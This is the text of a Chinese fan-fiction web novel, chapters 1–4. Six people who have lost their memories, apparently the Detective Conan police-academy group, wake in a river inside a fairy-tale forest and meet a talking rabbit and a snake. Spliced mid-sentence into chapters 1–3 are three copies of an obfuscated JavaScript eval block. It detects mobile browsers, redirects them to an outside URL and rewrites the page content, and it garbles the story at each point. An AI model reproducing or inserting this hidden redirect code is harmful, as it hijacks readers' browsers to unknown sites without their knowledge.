《警校组会梦见童话吗?》 1. Chapter01 冷。 这是他意识逐渐从沉睡中醒过来的第一个想法。 他感觉自己的下身冰冷无比,好像被浸泡在水中一样,但他记得,他睡觉之前……他睡觉之前在干什么? 他是谁? 当这个问题从他的脑海里浮现出来时,他陡然一个激灵,猛得睁开了眼。 入目是碧蓝澄澈的天空,翠绿的树叶层层叠叠,阳光从树叶的缝隙间洒落下来,照在他的身上。 在他睁眼的那一刻,冰冷奇怪的褪去了,他的灵魂好像穿过了一层无形的屏障,从天际轻飘飘地踩在了地面上。 温暖的阳光从他头顶倾洒下来,青草的气味涌入鼻腔,耳边是微风拂过草木和水面的悉索声。 光线有些刺目,这让醒来的他闭了闭眼,然后又再次睁开。 他还在这里。 他躺在河道边,下半身在水里、上半身在草丛中。 他为什么在这里? 他躺在草地上思考着,其实他的脑子在告诉他或许应该先从河里爬出去再思考,但是他浸泡的河水已经被阳光晒得暖洋洋的,连带着浸泡在里面的他好像也被这种暖意引出了倦怠之意,不想动弹。 “你再不出来,就别想再醒过来了。” 头顶的声音让已经昏昏欲睡的他再度惊醒,他猛然睁开眼,一个人不知道什么时候已经靠近过来,对方站在他头顶,用一双靛青色的眼睛盯着他。 仅凭这双锐利的眼睛,就能看出眼睛的主人似乎是一个不好相处的人,但他却奇怪的没有太多感觉。 他听从了头顶这个陌生人的话,从河里爬了出来。 河水淅沥沥地顺着他被浸透的裤脚往下滴落,有那么一瞬间,他感觉从他裤脚滴落的不是轻而微不足道的水滴,而是一些沉重的、无法言说的东西。 随着河水脱离他的身体,先前的倦意散去了一些,他的意识清醒了过来。 河水有问题? 他终于察觉到了这一点。 就在此时,站在旁边的陌生人再次说:“把你身上的水尽量挤干净。” 他看了一眼几步之外的陌生人,对方的神色非常冷酷,但却一而再地提醒他。 “多谢。” 他道了谢,开始拧干裤子上的河水。 “你是这里的……本地居民吗?” 他一边做着,一边试着和陌生的卷发男性对话。 “不是。” 卷发青年说:“我也刚从河里醒过来,从下游走上来,就看见了你。” 他接着问:“能问问你的名字吗?” 听到他的问题,卷发青年瞥了他一眼,这一瞬间,他顿时觉得自己的想法似乎被对方看透了。 这个人有着很敏锐的洞察力、或者说直觉? 他在心里下意识地分析着。 “我没有来这里之前的记忆。” 卷发青年说:“我猜你也是。” 卷发青年很直接地说出了现状,既然彼此都是同样的情况,他也没有隐瞒的意思,点头承认了青年的话。 裤子上的水已经拧得差不多了,他的思维重归理性,开始转头观察四周的环境。 晴空、翠林、微风,一切都显得宁静而平和,脚边的这条河流也始终如一地往远处流淌着,看起来温和又无害。 但刚从河里上来的他不会再被表象所迷惑。 所以,他们接下来该怎么做? “往前走吧。” 卷发青年如此说。 “也许还有和我们一样躺在河里的人呢。” 卷发青年说的对,于是他和对方沿着这条河一路往上游走,没有多久,就看见了又一个半身都浸入河中的人影。 他和卷发青年一起朝那边走过去,像之前卷发青年站在他头顶一样,两个人站在第三个人的头顶观察着对方。 这是一个看起来比他们年轻一点的青年,青年微长的头发被压在脑后,他双手交叉放在胸口,闭目躺在草地上。 “看起来就像葬礼上即将被火化的棺材里的人一样。” 观察了一会儿之后,卷发青年如此说。 啊,好犀利的发言。 他在心里默默地又给青年加了一个评价词:是个敏锐、直接又毒舌的人。 “欸——好过分哎!我还没有死呢!” 听见卷发青年犀利的发言,原本躺在草地上一脸安详的青年唰的一下就睁开了眼睛,一下从地上跳了起来。 “哗啦——” 河水刷啦啦地从青年身上滴落,青年大幅度的动作带起了大片水波,卷发青年和他都下意识地往后避让。 半长发青年就像一只调皮的落水小狗,他拎起湿漉漉的裤子甩着上面的水珠。 “你们躲得好快,唔。” 把裤子上的水拧掉一部分后,半长发青年眨了眨他绛紫色的眼眸,转头看向旁边正在看着自己的两个人:“这个河水有问题?难怪我那么想睡觉。” 卷发青年抱起手臂。 “我看你刚才睡得挺享受的。” “对啊,河水暖洋洋的……” 半长发青年把裤脚卷了卷,他靠近河流,伸出一只手去触摸河里温和流淌的河水。 温暖、安宁。 躺在河里的时候,就像是……在家人的怀抱里一样。 “我还以为我在泡温泉。” 卷发青年:“那你可以试着把全身都泡进去。” 半长发青年:“好主意~但我不要!你好坏。” 卷发青年:“不是你说你在泡温泉吗?泡温泉就该全身都进去。” 两个人自然而然地就聊了起来,明明都还不知道对方的名字、但他们相处起来却好像认识已久。 或许他们真的认识? 被遗忘在一边的他看着这一幕,在心里思考着。 “对了,你叫什么?” 聊着聊着,卷发青年冷不丁地问。 “忘记了~” 半长发青年的声音非常轻快,似乎失忆对他来说只是微不足道的小事。 “你们呢?” “我们也是。” 他回答道,同时随口分析了一句:“或许是这条河的河水有问题,让我们一起失忆了。” “有可能哦?” 半长发青年眨了眨眼,他盯着卷发青年看了一会儿、又盯着旁边的金发青年看了一会儿。 “我觉得你们都好眼熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934713|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是认不出来了。” 巧合的是,另外两人都有同样的感觉。 看来,记忆可以遗忘,但灵魂深处的潜意识无法被抹除。 “我们接下来要怎么做?” “往上游走。” 他说:“也许还有人像我们一样躺在河里,我们最好走到这条河的尽头。” 没有人有意见,也没有人提出独自离开,于是他们就自然地结伴在了一起,三人再次启程,然后不出意料地发现了躺在河里的第四个人。 “诶,有胡茬哎。” 半长发青年观察了一会儿躺在河里闭着眼的黑发男人,不久后判断道:“他应该和你们差不多大,不过胡茬看上去让他比你们看起来成熟了很多。” 卷发青年不满意地挑眉:“什么叫成熟很多?旁边那个娃娃脸就不说了,他肯定比我小,我也肯定比你大。” “你……” 卷发青年上下打量着半长发青年,他说:“你看起来也就是大学刚毕业没几年的年龄。” 在旁边观察着河里人的他听到了卷发青年的话:等等,娃娃脸是什么意思? 半长发青年眨了眨眼,他很想反驳,但虽然没了记忆,潜意识里却在告诉他,面前的人说的对。 呜哇!这是什么直觉系怪物吗! 半长发青年乖巧地安静了下来,而此时被波及的他忍不住开口了:“有没有一种可能,我比你们都大?” 你都说了是娃娃脸,他只是长得年轻而已,他敢肯定,自己不是初出茅庐的大学生。 他说着,在躺在地上的胡茬青年身边蹲了下来,他凝视着对面的面容,不知道为什么,在看见这个人的第一眼,他的心脏就开始痛了起来。 起初,那是一种细密的、难以察觉的刺痛,而当他察觉到这痛时,这种痛就像是蛛网一般开始疯长,它不断扩散、不断放大,直到缠住他整个心脏。 就像是以前一直被压抑、被强行忽视的情绪突然被看见、被解放出来,有一瞬间他被这痛苦压垮,不受控制地弯下腰,但他不想被打倒、也不想让其他人看见他此时的脆弱,于是他顺势蹲了下来。 然后,他和一双平静如水的蓝眸对上视线。 被看见了。 但、比思维和情绪先行动起来的,是不受控制的眼泪。 晶莹的水珠从金发青年的脸颊滑落,滴落在胡茬男人的左脸上。 “……” 那一滴眼泪好像汇集了他内心深处积攒的所有情绪,而当泪水滴落之后,他自己却有些茫然。 他为什么会哭了?难道他不是娃娃脸,真的是个不成熟的刚毕业的大学生? 他对自己的年龄产生了一点自我怀疑,而发现躺在河里的人还在看着他时,他有点尴尬地不敢去看对方,伸出一只手的同时移开视线说:“不要在河水里待太久,你快出来吧。” “……” 他的话音刚落,一只手搭上了他伸出的手掌,胡茬男人没有第一时间借力站起来,而是看着头顶侧过脸去的金发青年,开口道:“虽然我忘记了原因……但。” “对不起。” 或许他们遗忘了过去,但他们看见彼此时的心情替记忆给出了答案。 2. Chapter02 “咦,你们会不会认识?” 半长发青年弯腰俯身,他对情绪有着很强的感知力,他好奇地探头去看那在河边一蹲一躺的两人。 “……嗯。” 在青年凑过来之前,背对着对方的他擦掉了脸上的泪痕,然后,他握紧了手心里的那只手,拉着还躺在河里的胡茬男人站了起来。 胡茬男人顺从地随着他的动作离开了河水,他抬起眼看向旁边的另外两人,湖蓝色眼眸中的神色平静宁和。 半长发青年发现,对方有着一双非常漂亮的蓝色猫眼,如果能把他下巴上的胡茬剃了,想必一定会比现在看起来年轻好几岁吧! “你们好。” 猫眼青年非常礼貌地和大家打招呼,然后他问道:“请问,现在的情况……” “你好呀,我们和你差不多,都是刚从河里上来。” 半长发青年指了指身边神色酷酷的卷发青年和他。 “大家都失忆了,所以我们也不清楚究竟发生了什么。” 半长发青年的声音总是充满活力、轻快上扬的:“不过我们都在森林里的河流里醒来,难道是有人想让我们一起在森林里探险?丛林大冒险~” 卷发青年抱着手臂,他和站在旁边的半长发青年有着截然相反的态度:“丛林大冒险不需要让我们失忆。” “也是哦。” 半长发青年转过头,他看着身边人冷淡的侧脸,有一瞬间他绛紫色的眼眸里划过了一抹异常复杂的情绪。 其实连他也不懂,他心里的那种感情从何而来。 为什么,这个人会给他一种很难过的感觉? 而且,半长发青年悄悄收回视线,就算感觉到卷发青年看向了他,他也没有转头。 不知道为什么他有点心虚。 半长发青年:难道以前的我对这个帅气的家伙做了什么很不好的事情吗?难道他们以前是仇人吗?那真是太糟糕了! 这个酷酷的家伙可是完全长在他的审美点上啊! 他们一定不是仇人吧?一定只是因为一些小事才闹矛盾了吧?难道是因为他偷吃了冰箱里唯一的三明治没有告诉对方让对方饿肚子了吗? “你在乱想些什么?” “没有!” 胡思乱想的半长发青年一瞬间脱口而出,然后他像是受到惊吓的猫一样转头看向身边的卷发青年,对方盯着他的眼神透着几分无语。 半长发青年摸摸鼻尖,视线在卷发青年身上飘啊飘,从对方的脸、到那被黑色西装包裹的、笔直挺起的肩背。 其实他很不容易地忍住了刚才下意识想扒拉人家的动作。 所以他们以前果然认识吧。 在旁边看了许久的猫眼青年和金发青年对视了一眼,从对方的眼里看出了相同的想法。 目前看来,从河里醒过来的四个人至少两两互相认识,而且从他们对彼此的熟悉感来说,或许他们四个人都认识也说不定。 “好神奇。” 半长发青年轻快的语气分析着:“所以我们是一起失踪了,又被分开扔到了这条河里……” 他皱眉道:“不知道是谁这么做,对方的目的又是什么。” 他无法像半长发青年一样表现得轻松自在,因为在他的潜意识里,他感觉自己不应该在这里停留太久。 潜意识告诉他,他还有更重要的、必须去做的事。 他不能停下来。 所以,内心的声音一直督促着金发青年,而他也督促着大家:“我们继续往河的上游走吧……说不定还有其他人。” 虽然没有金发青年这样被催促着向前走、离开这里的强烈想法,但半长发青年和卷发青年也不是停留在原地安于现状的人,他们也想探寻造成如此现状的原因。 猫眼青年亦是如此,于是他顺势地加入了三人的队伍,四个人一起继续朝河流上游走去。 记忆的缺失本来该给所有人带来强烈的不安感,但同伴的存在弥补了这一点,再加上四人对彼此若有若无的熟悉感,让他们很自然地形成了一个和谐的旅寻小队。 这个队伍沿着河道一路往上,终于在抵达河流尽头的时候,看见了最后的两个人。 一男一女并排躺在河水里。 半长发青年看见了两个人浸泡在水里、紧紧交握的手,他眨了眨眼,对身边的三人说:“好像是一对情侣哎……幸好没有分开。” 毕竟这里的河水可是能让人忘记一切。 “先把他们叫醒吧。” 猫眼青年关切地说,他走上前,用力拍了拍那两个人的肩膀,在两个人从沉睡中醒来时,又温和地提醒他们河水的问题,帮助他们从河水里站了起来。 不出意料,醒过来的两个人都失忆了,不过他们很快就发现了彼此牵在一起的手,两个人对视一眼,对面的人陌生又熟悉,这让他们感觉松手不是、不松手也不是。 “经过我们四个人的验证,虽然我们没有记忆,但是潜意识里还有印象,所以两位根据你们内心的直觉来对待彼此就好了。” “两位应该是情侣吧~” 半长发青年的声音从两人不远处传来,让两人之间尴尬的气氛消散了些许,身形高大的男人用空出的那只手摸了摸后脑勺,他低头看着身边的金发女性,结结巴巴地说:“啊,可能吧。我还有一点印象。呃,不知道这位女士,你……如果你介意的话……” 金发女性抬起头,她凝视着眼前这个在她面前有些腼腆不自在的男人,顺从内心的感觉握紧了对方的手。 “我想那位先生说的应该是对的。” 她对男人露出一个的笑容:“所以我不介意,这位先生。” “那、那就好……” 男人如释重负,很夸张地松了一下肩膀。 于是,两个人本就没松开的手交握得更紧了。 “呜哇。” 半长发青年凑到身边的人耳边,小声说:“虽然我很开心促成了一对眷侣,但是……” 卷发青年也小声地回他:“是不是感觉狗粮吃饱了?” 半长发青年的头点了一半就停了下来,他眯起绛紫色的眼眸,盯着卷发青年控诉道:“我不吃狗粮。” 这个人是在给他挖坑,幸好他反应过来了。 卷发青年哼笑了一声,他抬起手,手指下意识落到了西装口袋上,想要捞起什么东西。 但那里什么都没有。 他垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934714|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,若有所思地看着空荡荡的口袋。 “你在找什么?烟吗?” 一个脑袋从旁边探了过来。 半长发青年说:“抽烟对身体不好。” 卷发青年微微低头,他瞥了一眼不知道什么时候已经自然搭在他肩膀上的那只手臂,然后与对方的眼睛对视。 青年很喜欢笑,那双好看的绛紫色眼睛里经常会带上习惯性的笑容。 他问对方:“你为什么觉得我在找烟?” “因为……” 半长发青年言之凿凿地说:“你不觉得你的穿着打扮看起来很像是那种会抽烟打架的极道大佬吗。” 黑西装哎,这种装扮一般都是那种混□□的人会穿的吧?不过看上去真的很帅气……再加上青年那双锐利的靛青色眼眸和自然卷发,从哪个角度看都像是冷酷成熟的极道大佬啊。 半长发青年的话引来了其他人的注意,他们看了看站在原地没发表任何意见的卷发青年。 从气势和穿着上来看,这个分析确实不无道理。 不过。 “总觉得不太像。” 情侣之中的高大男人开口道:“我的直觉告诉我……我们应该都认识?说起来,有谁清楚现在的情况吗?” 他们为什么又是失忆又是一起到了这个陌生的地方? 他的问题在场所有人都无法回答,他们处于完全相同的境地,没有谁比谁知道得更多。 六个人站在河边陷入了沉默,而就在金发深肤的青年斟酌着就要向大家提出去森林里寻找线索的想法时,一直安静得像是没有任何生物存在的森林里突然传出了一些动静。 窸窸窣窣的声音从树木下茂密的灌木丛中传来,六个人不约而同地往声音的来源看了过去,然后,他们看见一只浑身雪白的兔子从灌木丛中跳了出来。 这只兔子白的有些不可思议,它的绒毛看上去洁白又蓬松,兔子用两只后脚踩在地面上,一只前爪上竟然提着一个小小的藤编篮子。 提着篮子的兔子? 六个人不约而同地在心里有些惊讶地想着。 这只兔子和他们印象中的很不一样,而且……更让他们惊讶的事情接着发生了。 这只兔子在看见河边站着的六个人后,顿时就被吓了一跳,后脚用力一跃直接跳出了三米开外,前爪提着的篮子因为惊吓从它的爪子里脱落,在空中翻滚一圈后“啪嗒”一下掉在了地上,五颜六色的浆果咕噜噜地滚了一地。 空荡荡的篮子掉在草丛里,雪白的兔子跳进了篮子,只剩下微垂的长耳朵警惕地竖在外面。 “……” 六个高大的人类站在原地,和不远处的兔耳篮子不知所措地“对峙”。 “哎呀!” 六个人还没反应过来,就听见一个陌生的声音从篮子的方向传了过来。 小小的兔子从篮子里探出脑袋,红宝石般的眼睛盯着他们,三瓣嘴动了动。 “你们是从哪儿来的?为什么这么大、这么高?” “……?” 半长发青年迟疑地说:“你们听到了吗?” 金发青年:“听到了。” 兔子说话了?他们没听错吗? 3. Chapter03 “你们怎么不说话?” 躲在篮子里的兔子盯着远处的六个人,天哪,他们真的是它出生以来见过的最大的家伙了!他们比十个它都还要高!如果把安瑟拉直的话,可能也得要五个安瑟才可以勾到他们的头顶! 森林里什么时候搬来了这样高大的家伙? 兔子红色的眼睛圆溜溜地看着六个人,一只耳朵直直竖起,另一只耳朵慢慢耷拉了下来,垂在脑后——它虽然一开始被吓了一跳,但现在面对这六个陌生的大家伙,更多的还是看见陌生人的好奇。 “嗯……” 在一只兔子“好奇、期待”的眼神中,六个人进行了一番眼神互动,最终猫眼青年和半长发青年站了出来,他们试探着往前走了一步,发现躲在篮子里的兔子没有害怕后,便又走了几步才蹲了下来。 两个人和篮子里的小兔子对视。 “你好,你是住在这里的……居民吗?” 半长发青年话说到一半卡了一下,那一瞬间他的大脑飞速运转,终于找到了一个可以替代“人”的词。 兔子:“对啊!我叫安罗!你们是搬来这里的新居民吗?你们是什么动物?”看起来和她以前见过的都不一样。 半长发青年:“我们是人,其实我们也不知道我们为什么会在这里。” 他指了指不远处的河流:“我们醒过来的时候都在河里,安罗知道发生了什么吗?” 就在半长发青年和安罗交流的时候,猫眼青年近距离地观察着这只会说话的兔子,他的目光不动声色的将兔子打量了一遍,确信这和他印象中的兔子没有什么不同——除了会说话。 安罗:“人?那是什么动物?看来你们是我没见过的新动物啊!” 闻言,站在后面听着两人一兔对话的另外四人不禁对视了一眼。 卷发青年摸了摸衣领,这种被当成新物种的感觉还真是有点古怪,特别是开口说这话的是一只兔子。 所以,现在是什么情况?兔子真的会说话? 说起来,从醒过来之后的一切都非常的古怪,那条河水有着奇怪效果的河流、莫名出现在河里的他们、会开口说话的兔子…… 这是什么不科学的童话世界吗?还是说,梦? “你说你们是从这条河里醒过来的。” 安罗转头看了看河水,摇了摇头。 “这就是一条普通的河呀!难道是哪个坏家伙把你们扔在里面的吗?” 普通的河?可他们都能感觉到这条河里的河水有问题。 猫眼青年眸光一闪,他刚想开口向安罗试探,便听见身边的半长发青年用有些夸张的苦恼语气开口道:“哎——可是我们从那条河里醒来之后,竟然就什么都不记得了!会不会是有坏家伙对河水做了什么呀?安罗酱。” “什么?你们失忆了吗?” 安罗惊讶地站直了身体,搭在篮子边缘的两只前爪捂住了嘴。 “难道是那个传说中的女巫在河水里放了让你们失忆的魔法药水吗?” 小兔子警惕地看向那条河。 女巫? 很好,连这个东西都出来了,这下可以确定,这个世界真的不对劲了。 靠后的四个人凑在了一起,卷发青年压低声音:“先确认一下,你们之前应该没见过说话的兔子吧?” 金发女性和高大男人微微点头。 金发青年沉思道:“我们应该来自同一个世界,我的意思是……” “你的意思是,我们现在又一起来到了另一个世界。” 卷发青年接话道:“而且,还是一个兔子会说话、有女巫、有魔法药水的世界。” 没错,这是目前最有可能的猜测。 金发青年微微颔首,肯定了卷发青年的话后,他转头环顾四周。 半长发青年和猫眼青年还在和兔子安罗聊着天,试探着更多的信息,金发青年便把目光落在了不远处的森林上。 金发青年走到离他最近的一颗松木面前,抬起手触碰它。 带有薄茧的手指拂过粗糙的树干,些许青苔从树皮上细细落下,指腹传来的感觉本该告诉青年,这一切都是真实的。 但为什么他却有一种奇怪的感觉? 那是一种金发青年无法言说出的感受,仿佛有一层迷雾始终笼罩着他的思维,让他无法看破虚假,触及真正的真实。 深色修长的手指落在粗糙的树干上,金发青年陷入了沉思。 “既然这样,我带你们去找维森吧!” 安罗是一只善良热心的兔子,在知道面前的六人被女巫用药水丢掉了记忆后,它立刻就产生了莫大的同情。 失去所有的记忆,这是多么可怕耽误一件事啊!它会忘掉过去、忘掉自己的家、甚至还会忘掉重要的朋友! “维森是森林里知识最渊博的家伙了,他肯定能想办法让你们记起来的。” 安罗从篮子里跳了出来,前爪捧起一颗掉在草丛里的浆果,放回了篮子里。 “不过在那之前,我得先收拾好这些浆果。” 半长发青年和猫眼青年对视一眼。 “我们来帮你吧。” 半长发青年说着,低头捡起了一颗浆果,和他印象里的浆果不太一样,这些五颜六色的浆果有着半透明的果皮,圆润饱满的果实在阳光的照射下,甚至能看见果实中心的种子。 半长发青年举起手里的红色浆果,透过头顶的光线仔细观察了一会儿,突然发现浆果种子的形状有些特别,好像是一个……辣椒? “谢谢你们!我真是笨手笨脚的,又很容易被吓一跳。” 安罗接过半长发青年递过来的浆果。 “要小心一点哦,这个浆果的汁水沾在手上会很痛呢。” 很痛……这不就是辣椒吗? “这些浆果的味道都不一样吗?” 站在不远处的四个人也走了过来,他们已经把掉落在远处的浆果都捡了起来,在捡的过程中他们也发现了,这些浆果的种子都有着不同的形状,十分神奇。 四人把手里的浆果放进了安罗的小篮子里。 “给。” 金发女性对安罗露出一个有些腼腆的笑容,看着这只可爱的兔子,蓝色的眼眸闪闪发光。 “太好了!谢谢你们,帮了我大忙了。” 安罗原本还在为掉了一地的浆果发愁,看着大家捧着好多浆果放进它的小篮子里,顿时高兴地竖起了耳朵,在原地跳了几下。 “对,这些浆果的味道都不一样哦。” 安罗指着红色的浆果说:“这个是辣味的浆果,是安瑟最喜欢的浆果,不过我可接受不了。” “这个绿色的浆果是酸涩的,不过等它变黄之后再采摘的话,就会变成甜甜的浆果了!” “还有这个蓝色的浆果……” 安罗滔滔不绝地给六人介绍着不同颜色的浆果,它从篮子里挑出一颗粉色的浆果,递给了金发女性。 “这是我最喜欢的浆果,你要尝尝吗?” “可以吗?” 金发女性有些惊喜地拿起了那颗浆果,她转头看了看旁边的大家,在身边人不动声色地点头后,才试着将这枚小小的果子放入了口中。 好甜,而且这个味道…… 香甜的果肉和汁水在口中蔓延开来,金发女性捧着侧脸回味了一会儿,对旁边的五个人说:“是桃子味的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934715|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 所以这些不同颜色的浆果,就相当于是他们世界里的蔬果吧。 半长发青年摸了摸下巴,饶有兴趣地想:真是越来越像是童话世界了啊。 安罗的耳朵弯了弯,有点疑惑地问:“桃子是什么?” 金发女性耐心地解释:“是我们那边一种果子的名字,和安罗给我的这个浆果是一样的味道。” “那还真是神奇,世界上竟然存在外形不同但内在却一致的东西么?” 兔子安罗如此说,不过她看上去并不在意那个叫做“桃子”的东西,等地上的浆果全都被捡起来放到了篮子里后,安罗提起了篮子,蹦跳着往森林内走去。 “你们快来吧!我先带你们去我家坐一会儿。” 安罗朝六个人招了招爪子,让他们跟在自己的身后。 “走吧。” 他们到现在都还对这个世界处于一知半解的状况,仅有的一点信息也来自这只热心的兔子,既然如此,不如跟着这只原住民兔子小姐,去看看那个它口中的“维森”会不会知道他们来到这个世界的原因。 于是,六个人两两并行,跟在安罗身后走进了森林之中。 “对了,你们叫什么呢?” 安罗在前面蹦蹦跳跳地带着路,别看它小小的,但走起路来一点也不慢,随着它轻快的步伐,长长的耳朵在小兔子脑后晃悠着,它看起来心情非常不错。 闻言,猫眼青年稍有歉意地说:“抱歉,安罗。我们不记得自己的名字了。” 说起来,虽然因为潜意识里的熟悉感让他们的相处并没有第一次见面的陌生感,但其实他们现在怎么称呼彼此都还是一个问题。 “你们连自己的名字都忘记了吗?这真是太糟糕了。” 安罗睁大了眼,有些担忧地问:“你们真的一点也记不起来了吗?要不要努力试着回想一下,说不定能想起什么来?” 安罗:“一定有什么牢记在心里、无法忘记的东西吧!” 猫眼青年有些无奈,从科学的层面上来说,记忆这种东西并不是说不想忘便不会忘记的。 不过从目前的情况来看,他们的失忆或许也不是科学能解释的? 而且,这个失忆似乎只是浅层的忘记,他们六个人见到彼此的熟悉感,下意识的反应,似乎都在说明,有些东西藏在潜意识里,并没有被完全抹去。 “我还有一点印象。” 和猫眼青年走在一起的金发青年犹豫了片刻,说。 “虽然想不起来我的名字,但我记得,我应该有一个经常被叫的称呼。” 安罗:“太好了!是什么?” “zero。” 金发青年念出了这个让他思绪迭起的名字。 “我想,曾经应该有很多人都这样叫我。” 所以在忘记了所有的事情后,他才没有忘记这个称呼。 “确实听起来有点熟悉。” 走在后面的卷发青年也说,听到这个称呼的时候,他突然就想活动一下自己的身体,牙也不知道为什么有点痒。 …… 安罗:“那说不定你们以前是这样称呼zero的呢!” 猫眼青年赞同了安罗的话。 “说不定呢。对吧,zero?” 话语从嘴里自然地脱口而出后,猫眼青年愣了一下,其实他是想称呼青年为“zero君”的,但不知为何,最后那个礼貌的词没能出口。 猫眼青年下意识转过头,他看向身边的金发青年,却意外的看见,对方此时脸上那复杂无比的表情。 青年紫灰色的眼眸凝视着他,轻轻地张口。 “……hiro?” 4. Chapter04 zero。 当猫眼青年自然地叫出这个称呼时,降谷零顿时恍惚了起来。 也许兔子安罗说的没错,他有着就算失去记忆也无法忘记的东西,那是他最重要的人叫住他的声音。 所以,当猫眼青年叫起他的名字时,降谷零也想起了对方的名字。 hiro。 他注意到,猫眼青年一直平静如水的蓝眸在此时不受控制地颤动了一下。 诸伏景光愣在原地,金发青年对他的称呼让他如此熟悉、心里甚至有一种无法言说的情绪被这声称呼牵引而出。 这种情绪在他醒来时看见青年的第一眼也出现过,失去记忆的他无法探知情绪的来由,但他知道——他很高兴能再次见到对方。 于是,在降谷零紫灰色眼眸的注视下,诸伏景光循着内心的感觉,对他露出了一个温柔的浅笑。 “嗯,zero。” 后面的四个人看着这一幕,半长发青年把手搭在卷发青年的肩膀上,感叹着说:“他们两个人之前的关系应该非常好。而且……” 看两个人的表情,比起单纯的高兴,更像是一种失而复得的喜悦。 半长发青年没有把话说出口,他看了眼身边人的侧脸,卷发青年那张冷酷的脸上依旧没有太多表情。 莫名的,半长发青年觉得,对方并不像表面上那样冷静。 他心里在想什么呢? “zero和hiro吗?” 安罗高兴地说:“太好了!你们想起了自己的名字,你们肯定可以恢复记忆,想起剩下的事的!” 降谷零和诸伏景光没有纠正安罗,反正他们目前也只想起了这个称呼,便默认了这就是他们本来的名字。 诸伏景光和降谷零意外的想起了自己的名字,不过遗憾的是,在跟着安罗去往它家里的路上,除了他们两人,剩下的四人都没有再想起来什么。 “我们到啦!” 一路蹦蹦跳跳的安罗停了下来。 此时,在六人面前的是一个有些高度的小斜坡,斜坡与脚下地面倾斜的那面被刨出了一个洞口,斜坡上方横倒着一个巨大的枯木树桩,树桩看上去有些年龄了,斑驳的书皮上密布着青苔。 一些翠绿的藤蔓缠绕着树桩生长,垂落下来的几片叶子正好挡在了洞口前,形成了一个自然的屏障。 安罗蹦蹦跳跳地朝着洞里走去了,但对他们六个人来说,这个洞口太小、太矮了,他们只能在洞口蹲下来,透过藤蔓的缝隙去瞧着洞里的情景。 这个洞很深,让几人有些意外的是,兔子安罗的家里摆放着一些熟悉的生活用品:一张木制的小床、一套同款木桌和几张椅子,桌子上甚至还有茶壶和茶杯。 除此之外,还有一些零零碎碎的小家具整整齐齐地安放在合适的位置上,不看大小的话,这简直就像是一个人类该居住的家。 会说话的兔子用上了人类使用的家具,好像也没什么问题。 金发女性看着这一幕,她对身边人地感叹:“好可爱的家具……就像是童话绘本里的画面一样。” 和她走在一起的男人“嗯”了一声表示赞同,与此同时,她的话又给他带来了一些思考。 会说话的兔子,确实是通常出现在童话世界里的存在。 难道说…… - 六人蹲在安罗的家外,看着洞里的场景心思各异。 卷发青年大概扫了一眼洞里的东西,在看见安罗提着的藤编篮子时他就或多或少猜到了这一幕,因此倒也没多感觉意外。 他正要收回视线,却在此时,眼角的余光感觉到洞的深处似乎有一团阴影动了动。 “安瑟,我回来了!有客人哦。” 安罗提着篮子走进了洞里,它把篮子里的浆果倒进了它和安瑟一起做的专门存放食物的大筐子里,等它做完这些,盘在洞的深处的阴影终于醒了过来。 “安罗,中午好,欢迎回家!今天有我最爱的红浆果吗!” 那阴影嗖的一下窜了出来,诸伏景光定神一看,发现那竟然是一条蛇。 等等,兔子和蛇?它们住在一起?! 金发女性捂住嘴,悄悄地倒吸了一口气。 “别怕。” 从思考中回过神的男人看见这一幕,也忍不住眉心一跳,他拍了拍她的背,小声安慰身边的金发女性:“有我在。” 说完,他的眼神不动声色且暗含警惕地扫过了那条从洞里冒出来的蛇。 缠绕在兔子身上的蛇浑身纯黑如墨、直径几乎与兔子脑袋一样大,这条有男人小臂粗的黑蛇缠绕在兔子安罗身上,似乎是还没睡醒,黑蛇张大嘴巴打了一个人性化的哈欠,嘴里两颗又长又尖的沟牙在阳光下发着寒光。 而在那大张的嘴和尖锐的毒牙附近,是兔子安罗那毫无防备、脆弱又细瘦的脖颈。 降谷零垂眸,他动了动因为久蹲有些酸麻的身体,在自己都没有感觉到的时候,下意识的换了一个姿势,身体早已无声的警惕了起来。 “安罗,有客人吗?客人在哪里?” 墨色的蛇从兔子的腰一路往上缠绕,最终把脑袋搭在了兔子两只耳朵之间,就像是给雪白的兔子戴了一个黑色的“蛇帽子”。 被叫做安瑟的蛇就这样缠在安罗身上,黑色的蛇瞳左右张望了一会儿,没有在家里看见陌生的客人,他疑惑地问着,垂在空中的蛇尾尖也弯起了一个困惑的弧度。 奇怪,明明闻到了陌生的味道,但是为什么看不见呢? 安罗:“安瑟!客人们就站在洞外面哦!” 安瑟恍然大悟。 “安罗,你说的是这一片黑乎乎的东西吗?” 安瑟不好意思地说:“我还以为外面天已经黑了,我一觉睡到了晚上呢……” 黑蛇的尾巴左右晃了晃。 “原来这是客人啊!” 